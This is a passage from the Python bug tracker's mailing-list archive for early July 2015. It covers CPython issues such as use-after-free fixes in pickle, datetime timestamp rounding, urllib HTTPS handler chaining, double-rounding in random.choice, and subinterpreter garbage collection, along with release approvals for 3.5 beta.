changeset 24197b5f7126 by Benjamin Peterson in branch '3.5': merge 3.4 (#24552) https://hg.python.org/cpython/rev/24197b5f7126 New changeset 32486bb59e7e by Benjamin Peterson in branch 'default': merge 3.5 (#24552) https://hg.python.org/cpython/rev/32486bb59e7e ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 23:54:40 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Jul 2015 21:54:40 +0000 Subject: [issue24552] use after free in load_newobj_ex In-Reply-To: <1435871866.78.0.724448815208.issue24552@psf.upfronthosting.co.za> Message-ID: <1435874080.41.0.653647509812.issue24552@psf.upfronthosting.co.za> STINNER Victor added the comment: Buildbots are not happy. Example: http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.0%203.5/builds/57/steps/test/logs/stdio ====================================================================== ERROR: test_newobj_not_class (test.test_pickletools.OptimizedPickleTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/home/buildbot/python/3.5.koobs-freebsd10/build/Lib/test/pickletester.py", line 1046, in test_newobj_not_class o = object.__new__(SimpleNewObj) TypeError: object.__new__(SimpleNewObj) is not safe, use SimpleNewObj.__new__() ---------------------------------------------------------------------- ---------- nosy: +haypo resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 23:59:22 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 02 Jul 2015 21:59:22 +0000 Subject: [issue24552] use after free in load_newobj_ex In-Reply-To: <1435871866.78.0.724448815208.issue24552@psf.upfronthosting.co.za> Message-ID: <20150702215916.63903.49692@psf.io> Roundup Robot added the comment: New changeset 978bc1ff43a7 by Benjamin Peterson in branch '3.4': use correct __new__ method (closes #24552) https://hg.python.org/cpython/rev/978bc1ff43a7 ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 00:05:25 2015 From: report at bugs.python.org (Benjamin Peterson) Date: Thu, 02 Jul 2015 22:05:25 +0000 Subject: [issue24097] Use after free in PyObject_GetState In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za> Message-ID: <1435874725.15.0.881062000632.issue24097@psf.upfronthosting.co.za> Benjamin Peterson added the comment: lgtm ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 00:19:47 2015 From: report at bugs.python.org (Mark Mikofski) Date: Thu, 02 Jul 2015 22:19:47 +0000 Subject: [issue22516] Windows Installer won't - even when using "just for me"option In-Reply-To: <1412023007.96.0.578659583634.issue22516@psf.upfronthosting.co.za> Message-ID: <1435875587.46.0.481825863409.issue22516@psf.upfronthosting.co.za> Mark Mikofski added the comment: I've set up AppVeyor CI (http://www.appveyor.com/) to build the latest tag in the 2.7 branch of cpython at https://hg.python.org/ and to deploy zip files of x86 and x64 standalone builds to http://breakingbytes.alwaysdata.net/PythonBootstrap/. The builds use a patched version of Tools/buildbot/external[-amd64].bat and PCbuild/batch.bat[ -p x64] with Windows 7 SDK (VS2008) and pass all rt.bat -q[ -x64] tests. The zipped file structure matches the standard release structure except that I didn't copy any of the Tools folders (pynche, i18n, ...) or Demos, and I put html files in the Doc folder instead of python27.chm. To make it standalone I put the MSVCR90 redistributables in the top level side by side (privately) with python27.dll, which is acceptable according to the VS2008 license (http://download.microsoft.com/documents/useterms/Visual%20Studio_2008%20Professional%20Edition_English_473a7e16-65dc-4cfb-8f44-ebdd93cb1d3d.pdf) as long as the distro has any LICENSE. It is also one of the 3 recommended practices for deploying Visual C++ applications (https://msdn.microsoft.com/en-us/library/zebw5zk9(v=vs.90).aspx) especially Redistributiong Visual C++ Files (https://msdn.microsoft.com/en-us/library/ms235299(v=vs.90).aspx). The current Python uses the merge modules (https://msdn.microsoft.com/en-us/library/ms235290(v=vs.90).aspx) which requires admin rights. "Installation of the WinSxS folder requires administrative user rights. If an installation is run by a user who does not have administrative rights, the Visual C++ assemblies cannot be installed, and applications that depend on those DLLs cannot run. The alternative redistribution approach is to install private side-by-side assemblies of a particular user application. For more information on deploying Visual C++ files as private assemblies see Redistributing Visual C++ Files." In addition to some glue script, I added an altered version of idle.bat for Scripts that points to pythonw.exe and Lib\idlelib\idle.pyw from the Scripts folder instead of from the Lib\idlelib folder. This lets users start idle if Scripts is on their path. The glue for the appveyor build and the webpage are both maintained on bitbucket. * https://bitbucket.org/breakingbytes/cpython/branch/PythonBootstrap * https://bitbucket.org/breakingbytes/breakingbytes.bitbucket.org I expect this release to have several major uses: * It can be used to install python-2.7 without admin rights on windows * It can be used to embed python-2.7 into standalone applications that depend on python since it has a fairly small footprint, 15MB compressed. * To use 32-bit and 64-bit versions of Python on the same machine, which is technically not impossible now, and would still require some managment Some future goals: * create a self extracting executable that performs some minor niceties such as ... - adding Python and scripts to the path - fixing any hardcoded paths in bundled executbles - associated .py with python.exe - running python -m ensurepip - getting some convenient packages for scidata like pandas, numpy, xlrd, etc. ---------- versions: +Python 2.7 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 00:32:34 2015 From: report at bugs.python.org (Larry Hastings) Date: Thu, 02 Jul 2015 22:32:34 +0000 Subject: [issue22516] Windows Installer won't - even when using "just for me"option In-Reply-To: <1412023007.96.0.578659583634.issue22516@psf.upfronthosting.co.za> Message-ID: <1435876354.65.0.0607635027271.issue22516@psf.upfronthosting.co.za> Changes by Larry Hastings : ---------- nosy: -larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 00:55:45 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Jul 2015 22:55:45 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1435877745.41.0.166636497448.issue23517@psf.upfronthosting.co.za> STINNER Victor added the comment: I'm concerned by this example: >>> dt = datetime(2015, 2, 24, 22, 34, 28, 274000) >>> dt - datetime.fromtimestamp(dt.timestamp()) datetime.timedelta(0, 0, 1) I don't know yet if it should be fixed or not. If we modify .fromtimestamp(), should we use the same rounding method in datetime constructor? And in datetime.now()/.utcnow()? I would prefer to keep ROUND_DOWN for .now() and .utcnow() to avoid timestamps in the future. I care less for other methods. What do you think of this plan? --- Hum, I don't remember the whole story line of rounding timestamps in Python. Some raw data. Include/pytime.h of Python 3.5+ has: typedef enum { /* Round towards minus infinity (-inf). For example, used to read a clock. */ _PyTime_ROUND_FLOOR=0, /* Round towards infinity (+inf). For example, used for timeout to wait "at least" N seconds. */ _PyTime_ROUND_CEILING } _PyTime_round_t; Include/pytime.h of Python 3.4 had: typedef enum { /* Round towards zero. */ _PyTime_ROUND_DOWN=0, /* Round away from zero. */ _PyTime_ROUND_UP } _PyTime_round_t; Include/pytime.h of Python 3.3 and older didn't have rounding. C files using pytime.h rounding in Python 3.4 (grep -l _PyTime_ROUND */*.c): Modules/_datetimemodule.c Modules/posixmodule.c Modules/selectmodule.c Modules/signalmodule.c Modules/_testcapimodule.c Modules/timemodule.c Python/pytime.c It is used by 3 mores C files in Python 3.5: Modules/socketmodule.c Modules/_ssl.c Modules/_threadmodule.c NEAREST was never implemented in pytime.h. If I recall correctly, there were inconsitencies between the Python and the C implementation of the datetime module. At least in Python 3.5, both implementations should be consistent (even if some people would prefer a different rounding method). The private pytime API was rewritten in Python 3.5 to get nanosecond resolution. This API is only used by the datetime module to get the current time. My rationale for ROUND_DOWN was to follow how UNIX rounds timestmaps. As Alexander wrote, UNIX doesn't like timestamps in the future, so rounding towards minus infinity avoids such issue. Rounding issues become more common on file timestamps with filesystems supporting microsecond resolution or event nanosecond resolution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 01:40:17 2015 From: report at bugs.python.org (David Ford (FirefighterBlu3)) Date: Thu, 02 Jul 2015 23:40:17 +0000 Subject: [issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument In-Reply-To: <1374668818.72.0.697922032573.issue18543@psf.upfronthosting.co.za> Message-ID: <1435880417.44.0.369989583401.issue18543@psf.upfronthosting.co.za> David Ford (FirefighterBlu3) added the comment: Unfortunately more breakage exists within urllib.request. A context supplied to urlopen() is useless in the following pseudo code: build_some_openers() context = ssl.foo() urlopen('foo.com', context=context) When urlopen() runs, it does indeed (with my earlier patch) add another HTTPSHandler(context). However, the default added HTTPSHandler is called first in the chain (see the bisect.insort) and will cause the urlopen attempt to fail if the SSL connection does not work with a default or void context. The end-user specified context will never be reached whether they attempt to install their own HTTPSHandler or not since the default installed HTTPSHandler will raise an exception. Therefore, I've attached another patch to urllib.request which ensures that (a) existing opener chain is not discarded and (b) a default opener chain is not made with an HTTPSHandler in it, only adding the HTTPSHandler at urlopen() time if 'https' is found in the URL. ---------- Added file: http://bugs.python.org/file39847/urllib.request.py-do-not-overwrite-existing-opener.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 01:58:55 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 02 Jul 2015 23:58:55 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435858553.83.0.465798204707.issue24546@psf.upfronthosting.co.za> Message-ID: <20150702235824.GL10773@ando.pearwood.info> Steven D'Aprano added the comment: On Thu, Jul 02, 2015 at 05:35:53PM +0000, Tim Peters wrote: > Steven, there's something wrong with the arithmetic on your machine, > but I can't guess what from here (perhaps you have a non-standard > rounding mode enabled, perhaps your CPU is broken, ...). It's not just me. Others have confirmed the same behaviour, but only on 32-bit Linux: https://mail.python.org/pipermail/python-list/2015-July/693481.html Thread begins here: https://mail.python.org/pipermail/python-list/2015-July/693457.html > For a start, is it the multiplication that's broken on your machine, or the int() part? Looks like multiplication: >>> x = 1.-2.**-53 >>> assert x.hex() == '0x1.fffffffffffffp-1' >>> assert (2049.0).hex() == '0x1.0020000000000p+11' >>> (x*2049.0).hex() # Should be '0x1.001ffffffffffp+11' '0x1.0020000000000p+11' I'd like to see what result the OP gets if he runs this. Serge is using Linux, but if I'm reading it right, it looks like a 64-bit Linux. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:30:03 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 00:30:03 +0000 Subject: [issue24553] improve test coverage for subinterpreters Message-ID: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> New submission from Eric Snow: We do very little testing of subinterpreters in CPython. About all I'm aware of is in test_tracemalloc. I'll be working on improving test coverage as a precursor to fixing some existing bugs. ---------- components: Tests messages: 246107 nosy: eric.snow, ncoghlan priority: normal severity: normal stage: test needed status: open title: improve test coverage for subinterpreters versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:30:22 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 00:30:22 +0000 Subject: [issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument In-Reply-To: <1374668818.72.0.697922032573.issue18543@psf.upfronthosting.co.za> Message-ID: <1435883422.13.0.564254619126.issue18543@psf.upfronthosting.co.za> R. David Murray added the comment: See also issue 23166. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:31:14 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 00:31:14 +0000 Subject: [issue10915] Make the PyGILState API compatible with multiple interpreters In-Reply-To: <1295103161.75.0.771875465176.issue10915@psf.upfronthosting.co.za> Message-ID: <1435883474.84.0.557078950767.issue10915@psf.upfronthosting.co.za> Changes by Eric Snow : ---------- nosy: +eric.snow versions: +Python 3.5, Python 3.6 -Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:31:46 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 00:31:46 +0000 Subject: [issue15751] Support subinterpreters in the GIL state API In-Reply-To: <1345526301.75.0.455071650321.issue15751@psf.upfronthosting.co.za> Message-ID: <1435883506.31.0.128596546833.issue15751@psf.upfronthosting.co.za> Changes by Eric Snow : ---------- versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:32:22 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 00:32:22 +0000 Subject: [issue6531] atexit_callfuncs() crashing within Py_Finalize() when using multiple interpreters. In-Reply-To: <1248175169.79.0.15962102552.issue6531@psf.upfronthosting.co.za> Message-ID: <1435883542.65.0.620221798255.issue6531@psf.upfronthosting.co.za> Changes by Eric Snow : ---------- versions: +Python 3.5, Python 3.6 -Python 3.2, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:32:42 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 00:32:42 +0000 Subject: [issue4202] Multiple interpreters and readline module hook functions. In-Reply-To: <1224903164.25.0.50876142409.issue4202@psf.upfronthosting.co.za> Message-ID: <1435883562.24.0.128289002211.issue4202@psf.upfronthosting.co.za> Changes by Eric Snow : ---------- nosy: +eric.snow versions: +Python 3.5, Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:37:20 2015 From: report at bugs.python.org (Tim Peters) Date: Fri, 03 Jul 2015 00:37:20 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435883840.94.0.761307744949.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: Thanks for the legwork, Steven! So far it looks like a gcc bug when using -m32 (whether ints, longs and/or pointers are 4 or 8 bytes _should_ make no difference to anything in Jason Swails's C example). But it may be a red herring anyway: there's only one chance in 2**53 of getting a random.random() result equal to 1.-2.**-53 to begin with. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:41:17 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 00:41:17 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed Message-ID: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> New submission from Eric Snow: Per A. Jesse Jiryu Davis: =========================== # mod.py class C(object): pass class Pool(object): def __del__(self): print('del') list() C.pool = Pool() =========================== =========================== int main() { Py_Initialize(); PyThreadState *tstate_enter = PyThreadState_Get(); PyThreadState *tstate = Py_NewInterpreter(); PyRun_SimpleString("import mod\n"); if (PyErr_Occurred()) { PyErr_Print(); } Py_EndInterpreter(tstate); PyThreadState_Swap(tstate_enter); printf("about to finalize\n"); Py_Finalize(); printf("done\n"); return 0; } =========================== See: http://emptysqua.re/blog/a-normal-accident-in-python-and-mod-wsgi/ https://github.com/GrahamDumpleton/mod_wsgi/issues/43 ---------- components: Interpreter Core messages: 246110 nosy: emptysquare, eric.snow, grahamd, ncoghlan priority: normal severity: normal stage: test needed status: open title: GC should happen when a subinterpreter is destroyed type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:50:57 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 00:50:57 +0000 Subject: [issue24483] Avoid repeated hash calculation in C implementation of functools.lru_cache() In-Reply-To: <1434890042.2.0.0991345110525.issue24483@psf.upfronthosting.co.za> Message-ID: <1435884657.78.0.716330802573.issue24483@psf.upfronthosting.co.za> Larry Hastings added the comment: This can go in for 3.5 beta 3. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:52:54 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 00:52:54 +0000 Subject: [issue24492] using custom objects as modules: AttributeErrors new in 3.5 In-Reply-To: <1435081213.84.0.064797103678.issue24492@psf.upfronthosting.co.za> Message-ID: <1435884774.45.0.811752944103.issue24492@psf.upfronthosting.co.za> Larry Hastings added the comment: This is a) marked as release blocker, and b) is assigned to nobody. This is not tenable. While I want this fixed, I'm not going to hold up beta 3 for it. ---------- priority: release blocker -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:53:34 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 00:53:34 +0000 Subject: [issue24450] Add cr_await calculated property to coroutine object In-Reply-To: <1434277787.61.0.454692598565.issue24450@psf.upfronthosting.co.za> Message-ID: <1435884814.74.0.233953343028.issue24450@psf.upfronthosting.co.za> Larry Hastings added the comment: I'll accept it for 3.5. Can it go in for beta 3, tagged in 48 hours? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:55:22 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 00:55:22 +0000 Subject: [issue19235] Add a dedicated subclass for recursion errors In-Reply-To: <1381596107.9.0.320701037292.issue19235@psf.upfronthosting.co.za> Message-ID: <1435884922.73.0.436516470708.issue19235@psf.upfronthosting.co.za> Larry Hastings added the comment: This is fine for 3.5. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:56:21 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 00:56:21 +0000 Subject: [issue24468] Expose C level compiler flag constants to Python code In-Reply-To: <1434689253.89.0.431597909643.issue24468@psf.upfronthosting.co.za> Message-ID: <1435884981.03.0.176752884284.issue24468@psf.upfronthosting.co.za> Larry Hastings added the comment: opcode.patch is okay for 3.5. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 02:56:55 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 00:56:55 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435885015.04.0.899311852935.issue24432@psf.upfronthosting.co.za> Larry Hastings added the comment: Steve? ---------- assignee: -> steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 03:01:09 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 01:01:09 +0000 Subject: [issue24325] Speedup types.coroutine() In-Reply-To: <1432916607.38.0.641720588714.issue24325@psf.upfronthosting.co.za> Message-ID: <1435885269.18.0.386916978073.issue24325@psf.upfronthosting.co.za> Larry Hastings added the comment: Help me to understand here. You want to check in a patch adding 300 new lines of C code to the types module during beta, for a speed optimization, after we've already hit beta? While I like speedups as much as the next guy, I would be happier if this waited for 3.6. Of course, if Guido is overruling me, then Guido is overruling me and you get to check it in. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 03:25:08 2015 From: report at bugs.python.org (Larry Hastings) Date: Fri, 03 Jul 2015 01:25:08 +0000 Subject: [issue24325] Speedup types.coroutine() In-Reply-To: <1432916607.38.0.641720588714.issue24325@psf.upfronthosting.co.za> Message-ID: <1435886708.44.0.995629926217.issue24325@psf.upfronthosting.co.za> Larry Hastings added the comment: Oh, wait, I was confusing myself. This is that new module you guys created for type hints, and this is a new object with no installed base. (Right?) Yeah, you can check it in for 3.5. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 03:41:03 2015 From: report at bugs.python.org (Tim Peters) Date: Fri, 03 Jul 2015 01:41:03 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435887663.81.0.750154052712.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: I'm guessing this is a "double rounding" problem due to gcc not restricting an Intel FPU to using 53 bits of precison: > In binary, (2**53-1)/2**53 * 2049 is: > > 0.11111111111111111111111111111111111111111111111111111 > times > 100000000001.0 > > which is exactly: > > 100000000000.11111111111111111111111111111111111111111 011111111111 The internal Intel "extended precision" format has 64 bits in the mantissa. The last line there has 65 bits in all (53 to the left of the blank, and 12 to the right). Rounding _that_ to fit in 64 bits throws away the rightmost "1" bit, which is "exactly half", and so nearest/even rounding bumps what's left up by 1, leaving the 64-bit: 100000000000.11111111111111111111111111111111111111111 10000000000 in the extended-precision register. Rounding that _again_ to fit in 53 bits then yields the observed 100000000001.0 result. No int i with 0 < i < 2049 produces the same kind of double-rounding surprise. And with that I have to bow out - people have spent many years arguing with gcc developers about their floating-point decisions, and they rarely budge. Why does -m32 have something to do with it? "Just because" and "tough luck" are typically the only responses you'll get ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 03:51:22 2015 From: report at bugs.python.org (David Ford (FirefighterBlu3)) Date: Fri, 03 Jul 2015 01:51:22 +0000 Subject: [issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument In-Reply-To: <1374668818.72.0.697922032573.issue18543@psf.upfronthosting.co.za> Message-ID: <1435888282.83.0.166369105499.issue18543@psf.upfronthosting.co.za> David Ford (FirefighterBlu3) added the comment: perhaps an HTTPSHandler() should only merged into the handler chain if an https URI is found and no existing handler is found that has an https_open() defined ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 04:07:08 2015 From: report at bugs.python.org (Alexander Belopolsky) Date: Fri, 03 Jul 2015 02:07:08 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1435889228.66.0.609645465346.issue23517@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: Victor> I don't know yet if it should be fixed or not. It is my understanding that datetime -> timestamp -> datetime round-tripping was exact in 3.3 for datetimes not too far in the future (as of 2015), but now it breaks for datetime(2015, 2, 24, 22, 34, 28, 274000). This is clearly a regression and should be fixed. > UNIX doesn't like timestamps in the future I don't think this is a serious consideration. The problematic scenario would be obtaining high-resolution timestamp (from say time.time()), converting it to datetime and passing it back to OS as a possibly 0.5?s higher value. Given that timestamp -> datetime -> timestamp roundtrip by itself takes over 1?s, it is very unlikely that by the time rounded value hits the OS it is still in the future. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 05:15:35 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 03 Jul 2015 03:15:35 +0000 Subject: [issue24097] Use after free in PyObject_GetState In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za> Message-ID: <1435893335.82.0.602624795283.issue24097@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The fix LGTM. It would be nice to add a test. ---------- assignee: serhiy.storchaka -> pitrou stage: patch review -> test needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 05:56:34 2015 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 03 Jul 2015 03:56:34 +0000 Subject: [issue24325] Speedup types.coroutine() In-Reply-To: <1432916607.38.0.641720588714.issue24325@psf.upfronthosting.co.za> Message-ID: <1435895794.54.0.855028174823.issue24325@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Oh, wait, I was confusing myself. This is that new module you guys created for type hints, and this is a new object with no installed base. (Right?) No, you were right in your previous comment... > Help me to understand here. You want to check in a patch adding 300 new lines of C code to the types module during beta, for a speed optimization, after we've already hit beta? > While I like speedups as much as the next guy, I would be happier if this waited for 3.6. This speedup will mostly affect code compiled with Cython. See the following example: @asyncio.coroutine def coro(): yield from ... Cython will compile "coro" into a function, that returns a generator-like object. "asyncio.coroutine" will wrap this function, and, therefore, the optimized by Cython generator-like object will be wrapped too (to provide an __await__ method). This patch provides a faster wrapper for such generator-like objects. Since the whole point of using Cython is to squeeze as much performance as possible, I think it's essential to have this optimization in 3.5 (or at least in 3.5.1 as Guido suggested). It's a lot of C code, I agree. I only can say that I did my best to write very extensive unittests, and so I hope that it won't cause any trouble. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:24:25 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 04:24:25 +0000 Subject: [issue24450] Add cr_await calculated property to coroutine object In-Reply-To: <1434277787.61.0.454692598565.issue24450@psf.upfronthosting.co.za> Message-ID: <20150703042422.51804.24874@psf.io> Roundup Robot added the comment: New changeset 84eb9a020011 by Yury Selivanov in branch '3.5': Issue #24450: Add gi_yieldfrom to generators; cr_await to coroutines. https://hg.python.org/cpython/rev/84eb9a020011 New changeset f4058528ab8c by Yury Selivanov in branch 'default': Merge 3.5 (Issue #24450) https://hg.python.org/cpython/rev/f4058528ab8c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:25:26 2015 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 03 Jul 2015 04:25:26 +0000 Subject: [issue24450] Add cr_await calculated property to coroutine object In-Reply-To: <1434277787.61.0.454692598565.issue24450@psf.upfronthosting.co.za> Message-ID: <1435897526.6.0.85128638011.issue24450@psf.upfronthosting.co.za> Yury Selivanov added the comment: Benno, thanks for coming up with the idea and for the patches. Larry, thanks for approving this for 3.5! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:32:31 2015 From: report at bugs.python.org (David Ford (FirefighterBlu3)) Date: Fri, 03 Jul 2015 04:32:31 +0000 Subject: [issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument In-Reply-To: <1374668818.72.0.697922032573.issue18543@psf.upfronthosting.co.za> Message-ID: <1435897951.22.0.109032453399.issue18543@psf.upfronthosting.co.za> David Ford (FirefighterBlu3) added the comment: Third version of this patch and a short test suite specifically for this problem. per awareness of :issue:`23166` I rewrote my patch to handle subclassed HTTPS handlers. There are also exceptions raised if an attempt to install more than one HTTPS handler is done. HTTPS does not play well with multiple handlers trying to process data and will immediately fail on a second attempt to negotiate a handshake on an established socket. Additionally, if (a) an HTTPSHandler is already in the chain and (b) doesn't have an SSL context, then we create an appropriate context and attach it to the existing handler ---------- Added file: http://bugs.python.org/file39848/urllib.request.py-do-not-overwrite-existing-opener.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:34:23 2015 From: report at bugs.python.org (David Ford (FirefighterBlu3)) Date: Fri, 03 Jul 2015 04:34:23 +0000 Subject: [issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument In-Reply-To: <1374668818.72.0.697922032573.issue18543@psf.upfronthosting.co.za> Message-ID: <1435898063.33.0.127601144318.issue18543@psf.upfronthosting.co.za> David Ford (FirefighterBlu3) added the comment: Test cases for SSL _opener, contexts and HTTPSHandlers in this file ---------- Added file: http://bugs.python.org/file39849/ssl_context_tests.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:35:49 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 04:35:49 +0000 Subject: [issue24450] Add cr_await calculated property to coroutine object In-Reply-To: <1434277787.61.0.454692598565.issue24450@psf.upfronthosting.co.za> Message-ID: <20150703043546.14764.86828@psf.io> Roundup Robot added the comment: New changeset 9bae275e99b3 by Yury Selivanov in branch '3.5': Issue #24450: Proxy cr_await and gi_yieldfrom in @types.coroutine https://hg.python.org/cpython/rev/9bae275e99b3 New changeset 4d3bd9b82a62 by Yury Selivanov in branch 'default': Merge 3.5 (Issue #24450) https://hg.python.org/cpython/rev/4d3bd9b82a62 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:37:58 2015 From: report at bugs.python.org (David Ford (FirefighterBlu3)) Date: Fri, 03 Jul 2015 04:37:58 +0000 Subject: [issue23166] urllib2 ignores opener configuration under certain circumstances In-Reply-To: <1420406037.0.0.986455895168.issue23166@psf.upfronthosting.co.za> Message-ID: <1435898278.64.0.240934054795.issue23166@psf.upfronthosting.co.za> David Ford (FirefighterBlu3) added the comment: I've made a patch for 3.4 that addresses this issue. See issue 18543, latest patch, and test file ---------- nosy: +David Ford (FirefighterBlu3) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:41:24 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 03 Jul 2015 04:41:24 +0000 Subject: [issue23974] random.randrange() biased output In-Reply-To: <1429211399.3.0.0363933708398.issue23974@psf.upfronthosting.co.za> Message-ID: <1435898484.91.0.615836873045.issue23974@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I choose option 3, close as won't fix. The ship for 2.7 sailed a long time ago. The code for randrange() was designed by Tim Peters and has been in-place for a decade and half without causing suffering in the world. Also, changing the type to "behavior" from "security" -- that latter classification is quite a stretch. ---------- resolution: -> wont fix status: open -> closed type: security -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 06:42:15 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 04:42:15 +0000 Subject: [issue24450] Add cr_await calculated property to coroutine object In-Reply-To: <1434277787.61.0.454692598565.issue24450@psf.upfronthosting.co.za> Message-ID: <20150703044212.19983.73868@psf.io> Roundup Robot added the comment: New changeset 34460219c0e0 by Yury Selivanov in branch '3.4': Issue #24450: Proxy gi_yieldfrom & cr_await in asyncio.CoroWrapper https://hg.python.org/cpython/rev/34460219c0e0 New changeset 3555f7b5eac6 by Yury Selivanov in branch '3.5': Merge 3.4 (Issue #24450) https://hg.python.org/cpython/rev/3555f7b5eac6 New changeset 5e9f794fd776 by Yury Selivanov in branch 'default': Merge 3.5 (Issue #24450) https://hg.python.org/cpython/rev/5e9f794fd776 ---------- _______________________________________ Python tracker _______________________________________ From report at 